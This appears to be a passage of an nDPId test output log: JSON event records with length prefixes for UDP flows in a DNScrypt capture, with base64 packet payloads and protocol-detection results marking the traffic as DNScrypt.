+00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":413,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":414,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":40748,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":172,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184926,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcw6xAAL0RhuYKAAABBb2qxJ8sAdECCHNXsoEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAG7AAwBtwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":414,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":40748,"dst_port":465,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":415,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58650,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":173,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184959,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcw60gAL0RoyUKAAABBb2qxOUaAdEGBCTIsoABAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAW3AAwFswAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":415,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58650,"dst_port":465,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":416,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":59749,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":174,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184962,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcw64gAL0RoyQKAAABBb2qxOllAdEGBCB7soIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAW3AAwFswAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":416,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":59749,"dst_port":465,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":417,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184974,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQw60Aub0Rx\/gKAAABBb2qxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":417,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":418,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184975,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQw64Aub0Rx\/cKAAABBb2qxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":418,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00668{"flow_id":166,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":186682,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADU4rgAADMRX7Snctx9CgAAAQG7si0AwMTum2iBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} +00668{"flow_id":167,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":188595,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADU4rkAADMRX7Onctx9CgAAAQG76MUAwI5am2SBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} +00668{"flow_id":168,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":190618,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADU4roAADMRX7Knctx9CgAAAQG7srMAwMRrm2WBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} +00682{"flow_id":169,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":214486,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"ZmZmZmZmRERERERECABFAADfmrhAADkRNRgFvarECgAAAQHRi5YAy+QIsoOAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAcAMABAAAQAADhAAfXxETlNDAAEAAECBm+\/xTzDeD4KSjeZIgKwk3d3hDoaJSO\/h1pwRZePAj9XQLJ\/4Aa45W8vDBSKrJViJIaMolD7iTZBWDGXuFATTYhzIUZpFJ+MsooNEpkdNSme+M97PW3cWzIMHmxZ+fdNiHMhRmkUnX1O28V9TqKVfU9NN"} +00682{"flow_id":170,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":214820,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"ZmZmZmZmRERERERECABFAADfmrlAADkRNRcFvarECgAAAQHRrdAAy8HSsn+AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAcAMABAAAQAADhAAfXxETlNDAAEAAECBm+\/xTzDeD4KSjeZIgKwk3d3hDoaJSO\/h1pwRZePAj9XQLJ\/4Aa45W8vDBSKrJViJIaMolD7iTZBWDGXuFATTYhzIUZpFJ+MsooNEpkdNSme+M97PW3cWzIMHmxZ+fdNiHMhRmkUnX1O28V9TqKVfU9NN"} +00682{"flow_id":172,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":218356,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"ZmZmZmZmRERERERECABFAADfmrpAADkRNRYFvarECgAAAQHRnywAy9B0soGAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAcAMABAAAQAADhAAfXxETlNDAAEAAECBm+\/xTzDeD4KSjeZIgKwk3d3hDoaJSO\/h1pwRZePAj9XQLJ\/4Aa45W8vDBSKrJViJIaMolD7iTZBWDGXuFATTYhzIUZpFJ+MsooNEpkdNSme+M97PW3cWzIMHmxZ+fdNiHMhRmkUnX1O28V9TqKVfU9NN"} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":425,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":59749,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":425,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58104,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00503{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":425,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58650,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":425,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":38709,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":175,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756593,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwiRAAL0R5K8KAAABuf2aQpc1EPcCCBcWY0cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":425,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":38709,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":426,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":946739348756,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":44469,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":176,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":756593,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwiUgAL0RAO8KAAABuf2aQq21EPcGBC1ZY0YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA